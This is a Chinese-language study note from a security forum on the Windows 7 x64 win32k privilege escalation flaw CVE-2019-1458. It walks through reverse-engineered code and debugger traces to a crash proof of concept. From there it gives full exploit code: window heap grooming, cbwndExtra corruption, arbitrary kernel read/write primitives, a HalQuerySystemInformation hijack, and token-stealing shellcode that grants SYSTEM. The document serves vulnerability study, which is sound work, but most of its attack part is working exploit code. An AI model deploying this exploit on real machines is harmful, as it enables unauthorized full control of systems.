CVE-2019-1458提权漏洞学习笔记

语言: CN / TW / HK

本文为看雪论坛优秀文章
看雪论坛作者ID:1900

前言

1.漏洞描述

该漏洞存在于win32k的xxxPaintSwitchWindow函数中,函数会将窗口对象扩展区域最开始八字节保存的内容取出,将其作为内存地址进行读写。可是这最开始的八字节中保存的内容可以通过SetWindowLong函数进行更改,而函数没有验证保存的内容是否指向合法的地址就进行读写,如果地址不合法,则会产生BSOD错误。

通过设置,可以利用函数对指向地址进行读写的操作来扩大窗口的cbwndExtra,通过内存布局,在被扩大cbwndExtra的窗口高地址不远处布置一个窗口对象,通过修改窗口对象的成员实现任意地址读写,最终实现提权。

2.实验环境

  • 操作系统:Win7 x64 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg

漏洞分析

漏洞函数xxxPaintSwitchWindow只有一个参数,就是窗口对象的tagWND结构体,在win7 x64系统下,该结构体共占128字节,定义如下:

2: kd> dt win32k!tagWND -v
struct tagWND, 170 elements, 0x128 bytes
+0x000 head : struct _THRDESKHEAD, 5 elements, 0x28 bytes
+0x028 state : Uint4B
+0x02c state2 : Uint4B
+0x030 ExStyle : Uint4B
+0x034 style : Uint4B
+0x038 hModule : Ptr64 to Void
+0x040 hMod16 : Uint2B
+0x042 fnid : Uint2B
+0x048 spwndNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x050 spwndPrev : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x058 spwndParent : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x060 spwndChild : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x068 spwndOwner : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x070 rcWindow : struct tagRECT, 4 elements, 0x10 bytes
+0x080 rcClient : struct tagRECT, 4 elements, 0x10 bytes
+0x090 lpfnWndProc : Ptr64 to int64
+0x098 pcls : Ptr64 to struct tagCLS, 25 elements, 0xa0 bytes
+0x0a0 hrgnUpdate : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
+0x0a8 ppropList : Ptr64 to struct tagPROPLIST, 3 elements, 0x18 bytes
+0x0b0 pSBInfo : Ptr64 to struct tagSBINFO, 3 elements, 0x24 bytes
+0x0b8 spmenuSys : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes
+0x0c0 spmenu : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes
+0x0c8 hrgnClip : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
+0x0d0 hrgnNewFrame : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
+0x0d8 strName : struct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes
+0x0e8 cbwndExtra : Int4B
+0x0f0 spwndLastActive : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x0f8 hImc : Ptr64 to struct HIMC__, 1 elements, 0x4 bytes
+0x100 dwUserData : Uint8B
+0x108 pActCtx : Ptr64 to struct _ACTIVATION_CONTEXT, 0 elements, 0x0 bytes
+0x110 pTransform : Ptr64 to struct _D3DMATRIX, 16 elements, 0x40 bytes
+0x118 spwndClipboardListenerNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x120 ExStyle2 : Uint4B

xxxPaintSwitchWindow函数会将扩展区域中保存的内容赋给rdi:

.text:FFFFF97FFF111DEC ; void __fastcall xxxPaintSwitchWindow(__int64 tagWND)
.text:FFFFF97FFF111DEC
.text:FFFFF97FFF111E15 xor r13d, r13d
.text:FFFFF97FFF111E08 mov rsi, rcx ; 将tagWND赋给rsi
.text:FFFFF97FFF111E4F mov rdi, [rsi+128h] ; 取出扩展区域最开始的八字节保存的内容
.text:FFFFF97FFF111E56 jmp short loc_FFFFF97FFF111E5B

验证保存的地址是否为0,以及保存的地址偏移0x6C的内容是否为0:

.text:FFFFF97FFF111E5B loc_FFFFF97FFF111E5B:                   
.text:FFFFF97FFF111E5B cmp rdi, r13 ; 验证rdi是否为0
.text:FFFFF97FFF111E5E jz loc_FFFFF97FFF112019
// 省略部分代码
.text:FFFFF97FFF111E77 cmp [rdi+6Ch], r13d ; 验证[rdi+0x6C]保存的内容是否为0
.text:FFFFF97FFF111E7B jz short loc_FFFFF97FFF111E94

之后还会对rdi保存的地址偏移0x5C到0x6C这段区域进行增减操作,这里不难看出,增减的数值由GetDPIMetrics函数的返回值决定,不过这不是重点,重点是这些操作是会扩大这些与rdi偏移的地址中保存的内容:

这里的问题就很明显,函数取出扩展区域最开始八字节保存的地址,仅验证这个地址是否为0,对于它是否合法没有验证。而扩展区域中的内容又可以在用户层通过SetWindowLong函数修改,只要将这个地址修改为一个非法地址,函数对非法地址的读写就会产生BSOD。如果把这个地址指向窗口对象的cbwndExtra成员地址偏移-0x60处,最后面的增减操作就会扩大cbwndExtra。

漏洞验证

触发该的函数调用链为:NtUserMessageCall -> NtUserfnINLPDRAWITEMSTRUCT -> xxxWrapSwitchWndProc -> xxxSwitchWndProc -> xxxPaintSwitchWindow。

首先是NtUserMessageCall函数,该函数在msg < 0x400的时候就会调用gapfnMessageCall数组中保存的函数地址:

__int64 __fastcall NtUserMessageCall(__int64 hwnd, unsigned int msg, __int64 wParam, __int64 lParam, __int64 ResultInfo, int dwType, int a7)
{


if ( (unsigned int)msg < 0x400 )
{
v14 = ((__int64 (__fastcall *)(__int64, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[*(_BYTE *)(msg - 0x68001000000i64 + 0x2A7390) & 0x3F])(
v12,
(unsigned int)msg,
wParam,
lParam,
ResultInfo,
dwType,
v15);
}
}

gapfnMessageCall数组保存了一系列的函数,其中就有NtUserfnINLPDRAWITEMSTRUCT:

NtUserfnINLPDRAWITEMSTRUCT函数通过参数dwType计算偏移,调用gpsi偏移中保存的函数:

__int64 __fastcall NtUserfnINLPDRAWITEMSTRUCT(__int64 a1, unsigned int a2, __int64 a3, const void *a4, __int64 a5, char dwType)
{


return (*(__int64 (__fastcall **)(__int64, _QWORD, __int64, char *, __int64))(gpsi + 8i64 * ((dwType + 6) & 0x1F) + 0x10))( v8,
v7,
v6,
&Dst,
a5);
}

而gpsi偏移地址保存的函数在InitFunctionTables函数中初始化,其中偏移0x40处保存了xxxWrapSwitchWndProc,所以参数dwType需要为0,这样8 * 6 + 0x10 = 0x30 + 0x10 = 0x40,NtUserfnINLPDRAWITEMSTRUCT就会调用xxxWrapSwitchWndProc。

xxxWrapSwitchWndProc会调用xxxSwitchWndProc函数:

xxxSwitchWndProc主要分为两部分,第一部分如下图所示,会对tagWND->fnid进行判断,而一个新创建的窗口fnid为0,所以最外面的if语句会成立。在if成立的情况下,会有三个地方可能导致函数返回。

第一处是由于tagWND->fnid为0,所以就是在判断tagWND->cbwndExtra是否小于gpsi + 0x154中保存的数值。因为要用到扩展区域最开始八字节保存的内容,所以这里cbwndExtra至少为8。那么,这里就是在判断gpsi偏移0x154保存的内容大于等于至少0x130,而不通过其他操作,[gpsi + 0x154] < 0x130,所以这个条件不会成立。

第二处在传递的参数msg为WM_CREATE的时候,函数就不会返回:

#define WM_CREATE                       0x0001

第三处只要通过SetWindowLong设置扩展区域起始的八字节不为0就不会返回。如果这三处都不成立,就会将tagWND->fnid设置为0x2A0。

xxxSwitchWndProc第二处是调用漏洞函数xxxPaintSwitchWindow:

  switch ( msg )
{
case 0x14u:
case 0x3Au:
xxxPaintSwitchWindow(tagWND);
return 0i64;
}

当消息为WM_ERASEBKGND的时候,xxxSwitchWndProc就会调用xxxPaintSwitchWindow:

#define WM_ERASEBKGND                   0x0014

想要触发漏洞函数,msg就不为1,可是msg不为1的时候,在xxxSwitchWndProc的第一部分的第二处代码又会返回。所以就需要两次进入xxxSwitchWndProc函数,第一次的时候msg要为WM_CREATE(0x1),这样函数会将tagWND->fnid设置为0x2A0。第二次在调用的时候,msg就可以指定为WM_ERASEBKGND(0x14),此时由于第一次进入将tagWND->fnid设置为0x2A0,xxxSwitchWndProc就会绕过第一部分的代码,直接在第二部分判断消息,调用漏洞函数xxxPaintSwitchWindow。

在xxxPaintSwitchWindow函数中,在第4处获取扩展区域最开始八字节保存的地址之前,也有三个地方需要绕过:

第一处的绕过,只需要创建窗口的时候,指定窗口可见就可以。在xxxSwitchWndProc函数中,已经设置了tagWND->fnid为0x2A0,所以不需要绕过。第三处还是在判断[gpsi + 0x154]和cbwndExtra + 0x128的数值大小,创建窗口的时候,cbwndExtra只需要设置为8就可以完成触发和利用。所以这里就是在判断[gpsi + 0x154]是否等于0x130。而创建类名为"#32771"窗口的时候,会将[gpsi + 0x154]设置为0x130,所以只需要通过创建这样一个窗口就可以绕过。

因此,漏洞触发步骤如下:

① 创建一个可见的带有八字节扩展区域的窗口用来触发漏洞。

② 调用NtUserMessageCall,参数msg为WM_CREATE(0x1),将tagWND->fnid设置为0x2A0。

③ 将扩展区域最开始八字节保存的地址设置为一个不合法的地址。

④ 创建类名为"32771"的窗口,将[gpsi + 0x154]设置为0x130。

⑤ 调用NtUserMessageCall函数,参数msg为WM_ERASEBKGND(0x14),这样就会指向漏洞函数。

相应POC代码如下:

BOOL POC_CVE_2019_1458()
{
BOOL bRet = TRUE;
HINSTANCE handle = NULL;


handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}


char *pBuf = "POC";
WNDCLASSEX wc = { 0 };


wc.cbSize = sizeof(wc);
wc.cbWndExtra = 8;
wc.hInstance = handle;
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pBuf;


if (!RegisterClassEx(&wc))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}


HWND hPocWnd = NULL;


// 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE
hPocWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0,
NULL, NULL, handle, NULL);
if (!hPocWnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}


// 设置tagWND->fnid为0x2A0
NtUserMessageCall(hPocWnd, WM_CREATE, 0, 0, 0, 0, 0);


// 设置内存地址
SetWindowLongPtrW(hPocWnd, 0, 0x1900);


// 设置[gpsi + 0x154] = 0x130
if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0,
NULL, NULL, handle, NULL))
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}


// 触发漏洞
NtUserMessageCall(hPocWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0);


exit:
return bRet;
}

在上图的第四处,也就是取出扩展区域最开始八字节保存的地址代码处下断点,编译运行POC,程序就会绕过上面的判断成功执行到这里:

3: kd> ba e1 win32k!xxxPaintSwitchWindow + 0x63
3: kd> g
Breakpoint 0 hit
win32k!xxxPaintSwitchWindow+0x63:
fffff960`00201e4f 488bbe28010000 mov rdi,qword ptr [rsi+128h]
0: kd> p
win32k!xxxPaintSwitchWindow+0x6a:
fffff960`00201e56 eb03 jmp win32k!xxxPaintSwitchWindow+0x6f (fffff960`00201e5b)

继续向下运行,函数会对扩展区域保存的八字节地址进行读取,而这个地址已经被设置为一个不合法的地址:

3: kd> p
win32k!xxxPaintSwitchWindow+0x6f:
fffff960`00201e5b 493bfd cmp rdi,r13
3: kd> p
win32k!xxxPaintSwitchWindow+0x72:
fffff960`00201e5e 0f84b5010000 je win32k!xxxPaintSwitchWindow+0x22d (fffff960`00202019)
3: kd> p
win32k!xxxPaintSwitchWindow+0x78:
fffff960`00201e64 33d2 xor edx,edx
3: kd> p
win32k!xxxPaintSwitchWindow+0x7a:
fffff960`00201e66 41b800000100 mov r8d,10000h
3: kd> p
win32k!xxxPaintSwitchWindow+0x80:
fffff960`00201e6c 488bce mov rcx,rsi
3: kd> p
win32k!xxxPaintSwitchWindow+0x83:
fffff960`00201e6f e8dccbfaff call win32k!GetDCEx (fffff960`001aea50)
3: kd> p
win32k!xxxPaintSwitchWindow+0x88:
fffff960`00201e74 488be8 mov rbp,rax
3: kd> p
win32k!xxxPaintSwitchWindow+0x8b:
fffff960`00201e77 44396f6c cmp dword ptr [rdi+6Ch],r13d
3: kd> r rdi
rdi=0000000000001900
3: kd> dq 0000000000001900
00000000`00001900 ????????`???????? ????????`????????
00000000`00001910 ????????`???????? ????????`????????
00000000`00001920 ????????`???????? ????????`????????
00000000`00001930 ????????`???????? ????????`????????
00000000`00001940 ????????`???????? ????????`????????
00000000`00001950 ????????`???????? ????????`????????
00000000`00001960 ????????`???????? ????????`????????
00000000`00001970 ????????`???????? ????????`????????

继续运行就会因为对不合法地址进行读取造成BSOD:

1: kd> !analyze -v
Connected to Windows 7 7601 x64 target at (Sun Jun 26 10:54:16.859 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************


SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff96000131e77, Address of the instruction which caused the bugcheck
Arg3: fffff88006916ea0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.




CONTEXT: fffff88006916ea0 -- (.cxr 0xfffff88006916ea0)
rax=0000000006010568 rbx=fffff900c08209e0 rcx=0000000000000000
rdx=fffffa800525a630 rsi=fffff900c08209e0 rdi=0000000000001900
rip=fffff96000131e77 rsp=fffff88006917880 rbp=0000000006010568
r8=0000000000000000 r9=0000000000000000 r10=fffff880069176c0
r11=fffffa800525a630 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010282
win32k!xxxPaintSwitchWindow+0x8b:
fffff960`00131e77 44396f6c cmp dword ptr [rdi+6Ch],r13d ds:002b:00000000`0000196c=????????
Resetting default scope


PROCESS_NAME: exp_x64.exe


STACK_TEXT:
win32k!xxxPaintSwitchWindow+0x8b
win32k!xxxSwitchWndProc+0xc5
win32k!xxxWrapSwitchWndProc+0x3c
win32k!NtUserfnDWORD+0x27
win32k!NtUserMessageCall+0x132
nt!KiSystemServiceCopyEnd+0x13
exp_x64+0x107b
exp_x64+0x3f81a

漏洞利用

要利用这个漏洞,需要在触发漏洞的窗口高地址不远处布置另一个用来攻击的窗口,所以需要首先创建一些用来攻击的窗口,然后释放掉中间的一部分,这样触发漏洞时候创建的窗口就会占用释放的某个窗口,高地址就会保存其他的窗口,相应代码如下:

BOOL Init_CVE_2019_1458(HWND *hWndList)
{
BOOL bRet = TRUE;
WNDCLASSEX wc = { 0 };
char *pAttackName = "Attack";
DWORD i = 0;
HINSTANCE handle = NULL;


handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}


memset(&wc, 0, sizeof(wc));
wc.cbSize = sizeof(wc);
wc.hInstance = GetModuleHandle(NULL);
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pAttackName;
wc.cbWndExtra = 8;


if (!RegisterClassEx(&wc))
{
ShowError("RegisterClassEx", GetLastError());
bRet = FALSE;
goto exit;
}


// 创建用来攻击的窗口
for (i = 0; i < 100; i++)
{
hWndList[i] = CreateWindowEx(NULL,
pAttackName,
"Hack Window",
WS_VISIBLE,
0, 0, 0, 0,
NULL,
0,
handle,
0);
if (!hWndList[i])
{
ShowError("CreateWindowEx", GetLastError());
bRet = FALSE;
goto exit;
}
}


// 释放其中的一部分用来保存触发漏洞时候创建的窗口
for (i = 20; i < 80; i += 2)
{
if (!DestroyWindow(hWndList[i]))
{
ShowError("DestroyWindow", GetLastError());
bRet = FALSE;
goto exit;
}
hWndList[i] = NULL;
}


exit:
return bRet;
}

在漏洞触发的时候,只要找到高地址处最近的窗口就可以完成攻击。此时,窗口扩展区域最开始八字节保存的地址应当是触发漏洞窗口的cbwndExtra地址减去0x60偏移的地址,因为xxxPaintSwitchWindow进行加减入操作的时候,是从偏移0x5C开始的。另外,在到达对内存进行加减操作之前,函数还会判断Alt键是否被按下,所以触发漏洞之前,需要模拟Alt的按键消息才能成功的完成加减的操作。

一旦成功扩大cbwndExtra,就可以利用SetWindowLong修改高位地址的tagWND实现任意地址读写完成提权,所以此时触发漏洞的代码如下:

BOOL Trigger_CVE_2019_1458(HWND *hWndList)
{
BOOL bRet = TRUE;
HINSTANCE handle = NULL;
lHMValidateHandle HMValidateHandle = NULL;


handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}


HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle)
{
bRet = FALSE;
goto exit;
}


char *pBuf = "Trigger";
WNDCLASSEX wc = { 0 };


wc.cbSize = sizeof(wc);
wc.cbWndExtra = 8;
wc.hInstance = handle;
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pBuf;


if (!RegisterClassEx(&wc))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}


HWND hTriggerWnd = NULL;


// 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE
hTriggerWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0,
NULL, NULL, handle, NULL);
if (!hTriggerWnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}


// 寻找用来攻击的窗口
ULONG64 ulTriggerAddr = 0, ulAttackAddr = 0, i = 0;
PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);


ulTriggerAddr = (ULONG64)pTriggerHead->pSelf;
HWND hAttackWnd = NULL;
for (i = 0; i < 100; i++)
{
if (hWndList[i])
{
PTHRDESKHEAD pAttackHead = (PTHRDESKHEAD)HMValidateHandle(hWndList[i], TYPE_WINDOW);
ulAttackAddr = (ULONG64)pAttackHead->pSelf;
if (ulAttackAddr > ulTriggerAddr && ulAttackAddr - ulTriggerAddr < 0xFF0000)
{
hAttackWnd = hWndList[i];
break;
}
}
}


if (!hAttackWnd)
{
printf("Do not find Attack tagWND\n");
bRet = FALSE;
goto exit;
}


// 设置tagWND->fnid为0x2A0
NtUserMessageCall(hTriggerWnd, WM_CREATE, 0, 0, 0, 0, 0);


// 设置内存地址
ULONG64 ulValue = ulTriggerAddr + 0xE8 - 0x60;
SetWindowLongPtrW(hTriggerWnd, 0, ulValue);


// 设置[gpsi + 0x154] = 0x130
if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0,
NULL, NULL, handle, NULL))
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}


// 模拟Alt按键
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);


// 触发漏洞
NtUserMessageCall(hTriggerWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0);


ULONG64 ulOffset = ulAttackAddr - ulTriggerAddr - 0x128;
if (!EnablePrivilege_CVE_2019_1458(hTriggerWnd, hAttackWnd, ulOffset))
{
bRet = FALSE;
goto exit;
}


exit:
return bRet;
}

在提权代码中,利用tagWND->spwndParent和tagWND->StrName->Buffer来实现任意代码读写,修改关键函数为ShellCode地址实现提权:

BOOL EnablePrivilege_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, ULONG64 ulOffset)
{
BOOL bRet = TRUE;


PVOID pTargetAddr = NULL;


pTargetAddr = GetHalQuerySystemInformation();
if (!pTargetAddr)
{
bRet = FALSE;
goto exit;
}


ULONG64 ulOrgFunAddr = 0;


// 获取原函数地址
ulOrgFunAddr = ReadData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ulOffset);


// 将函数修改为ShellCode地址
WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ShellCodeInWin7, ulOffset);


// 调用函数执行ShellCode实现提权
if (!CallNtQueryIntervalProfile())
{
bRet = FALSE;
goto exit;
}


// 恢复原函数
WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, (PVOID)ulOrgFunAddr, ulOffset);


exit:
return bRet;
}


VOID WriteData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, PVOID pValue, ULONG64 ulOffset)
{
BOOL bRet = TRUE;


// 设置要写入的地址
SetWindowLongPtrW(hTriggerWnd, ulOffset + 0xE0, (ULONG64)pTargetAddr);


LARGE_UNICODE_STRING lstrData = { 0 };
lstrData.Length = 0x8;
lstrData.MaximumLength = 0xA;
lstrData.Buffer = (PWCHAR)&pValue;
NtUserDefSetText(hAttackWnd, &lstrData);
}


ULONG64 ReadData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, ULONG64 ulOffset)
{
ULONG64 ulOrg = 0, ulOrgPar = 0;
ULONG64 ulParOffset = ulOffset + 0x58;


// 获取tagWND->spwndParent
ulOrgPar = GetWindowLongPtrW(hTriggerWnd, ulParOffset);


// 设置tagWND->spwndParent为目标地址
SetWindowLongPtrW(hTriggerWnd, ulParOffset, (ULONG64)pTargetAddr);
// 读取目标地址内容
ulOrg = (ULONG64)GetAncestor(hAttackWnd, GA_PARENT);
// 恢复tagWND->spwndParent
SetWindowLongPtrW(hTriggerWnd, ulParOffset, ulOrgPar);


return ulOrg;
}

运行结果

在Win7 x64系统中,用来实现提权的关键成员偏移如下:

3: kd> dt _EPROCESS
ntdll!_EPROCESS
+0x180 UniqueProcessId : Ptr64 Void
+0x188 ActiveProcessLinks : _LIST_ENTRY
+0x208 Token : _EX_FAST_REF

此时的对象头定义如下,此时Body偏移为0x30,所以提权之后,增加PointerCount时的偏移为-0x30:

kd> dt _OBJECT_HEADER
nt!_OBJECT_HEADER
+0x000 PointerCount : Int8B
+0x008 HandleCount : Int8B
+0x008 NextToFree : Ptr64 Void
+0x010 Lock : _EX_PUSH_LOCK
+0x018 TypeIndex : UChar
+0x019 TraceFlags : UChar
+0x01a InfoMask : UChar
+0x01b Flags : UChar
+0x020 ObjectCreateInfo : Ptr64 _OBJECT_CREATE_INFORMATION
+0x020 QuotaBlockCharged : Ptr64 Void
+0x028 SecurityDescriptor : Ptr64 Void
+0x030 Body : _QUAD

相应的ShellCode如下:

ShellCodeInWin7 proc
push r8
push r9
; 从KPCR中获取当前线程_ETHREAD
mov rax, gs:[188h]
; 从_ETHREAD中获取当前进程_EPROCESS
mov rax, [rax + 70h]
mov r8, rax


find_system_proc:
; 获取下一进程EPROCESS地址
mov rax, [rax + 188h]
sub rax, 188h
; 获取PID
mov rdx, [rax + 180h]
; 判断pid是否为4,不为4则跳转
cmp rdx, 4
jne find_system_proc


; 将system的token赋值给本进程,并增加引用计数
mov rax, [rax + 208h]
and al, 0f0h
mov [r8 + 208h], rax
mov r9, 2
add [rax - 30h], r9


; 设置返回值,退出函数
mov rax, 1
pop r9
pop r8
ret
ShellCodeInWin7 endp

相应的代码在: http://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2019-1458.cpp 。编译运行成功,就可以成功提权:

虽然可以成功提权,由于触发漏洞的时候,xxxPaintSwitchWindow会修改0x10字节的数据,所以不只是tagWND->cbwndExtra会被修改,其他成员也会被修改,所以在程序释放窗口的时候就会产生BSOD。尝试过把这些被修改的数据改成0,或者其他窗口的数值,但还是会蓝屏,不知道要怎么解决,就等论坛的其他师傅们探索了。

参考资料

http://bbs.pediy.com/thread-260268.htm

http://blog.csdn.net/qq_41252520/article/details/120308729

看雪ID:1900

http://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区

#

往期推荐

1. 堆、UAF之PWN从实验到原理

2. Frida inlineHook原理分析及简单设计一款AArch64 inlineHook工具

3. PWN学习笔记【格式化字符串漏洞练习】

4. Il2Cpp恢复符号过程分析

5. 记一次安全产品的漏洞挖掘

6. CVE-2016-3309提权漏洞学习笔记

球分享

球点赞

球在看

点击“阅读原文”,了解更多!